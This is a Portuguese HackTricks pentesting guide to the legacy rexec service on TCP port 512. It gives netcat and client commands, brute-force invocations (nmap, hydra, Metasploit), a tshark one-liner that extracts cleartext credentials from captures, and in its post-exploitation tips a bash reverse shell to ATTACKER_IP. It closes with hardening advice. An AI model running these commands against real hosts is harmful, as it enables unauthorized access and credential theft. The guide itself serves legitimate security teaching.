512 - Pentesting Rexec

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

Rexec (remote exec) é um dos serviços originais da suíte Berkeley r (junto com rlogin, rsh, …). Ele fornece uma capacidade de execução remota de comandos autenticada apenas com um nome de usuário e senha em texto claro. O protocolo foi definido no início dos anos 1980 (veja RFC 1060) e hoje é considerado inseguro por design. No entanto, ainda está habilitado por padrão em alguns equipamentos legados UNIX / conectados à rede e ocasionalmente aparece durante pentests internos.

Porta Padrão: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Todo o tráfego – incluindo credenciais – é transmitido não criptografado. Qualquer um com a capacidade de monitorar a rede pode recuperar o nome de usuário, senha e comando.

Visão rápida do protocolo

  1. O cliente se conecta ao TCP 512.
  2. O cliente envia três strings terminadas em NUL:
  • o número da porta (como ASCII) onde deseja receber stdout/stderr (geralmente 0),
  • o nome de usuário,
  • a senha.
  1. Uma string final terminada em NUL com o comando a ser executado é enviada.
  2. O servidor responde com um único byte de status de 8 bits (0 = sucesso, 1 = falha) seguido pela saída do comando.

Isso significa que você pode reproduzir a troca com nada mais do que echo -e e nc:

bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Se as credenciais forem válidas, você receberá a saída de id diretamente na mesma conexão.

Uso manual com o cliente

Muitas distribuições Linux ainda incluem o cliente legado dentro do pacote inetutils-rexec / rsh-client:

bash
rexec -l user -p password <target> "uname -a"

Se -p for omitido, o cliente solicitará interativamente a senha (visível na rede em texto claro!).


Enumeração & Força Bruta

Força Bruta

Nmap

bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

O rexec-brute NSE usa o protocolo descrito acima para tentar credenciais muito rapidamente.

Hydra / Medusa / Ncrack

bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra tem um módulo rexec dedicado e continua sendo o bruteforcer offline mais rápido. medusa (-M REXEC) e ncrack (módulo rexec) podem ser usados da mesma forma.

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

O módulo irá gerar um shell com sucesso e armazenar as credenciais no banco de dados.


Captura de credenciais

Como tudo está em texto claro, as capturas de rede são inestimáveis. Com uma cópia do tráfego, você pode extrair credenciais sem tocar no alvo:

bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark, ative Decode As …​ TCP 512 → REXEC para visualizar os campos analisados de forma adequada.)


Dicas de Pós-Exploração

  • Comandos são executados com os privilégios do usuário fornecido. Se /etc/pam.d/rexec estiver mal configurado (por exemplo, pam_rootok), shells de root são às vezes possíveis.
  • Rexec ignora o shell do usuário e executa o comando via /bin/sh -c <cmd>. Você pode, portanto, usar truques típicos de escape de shell (;, $( ), crase) para encadear múltiplos comandos ou gerar shells reversos:
bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Senhas são frequentemente armazenadas em ~/.netrc em outros sistemas; se você comprometer um host, pode reutilizá-las para movimentação lateral.

Fortalecimento / Detecção

  • Não exponha rexec; substitua-o por SSH. Praticamente todos os inetd superservers modernos comentam o serviço por padrão.
  • Se você precisar mantê-lo, restrinja o acesso com TCP wrappers (/etc/hosts.allow) ou regras de firewall e imponha senhas fortes por conta.
  • Monitore o tráfego para :512 e para lançamentos do processo rexecd. Uma única captura de pacote é suficiente para detectar uma comprometimento.
  • Desative rexec, rlogin, rsh juntos – eles compartilham a maior parte do mesmo código e fraquezas.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks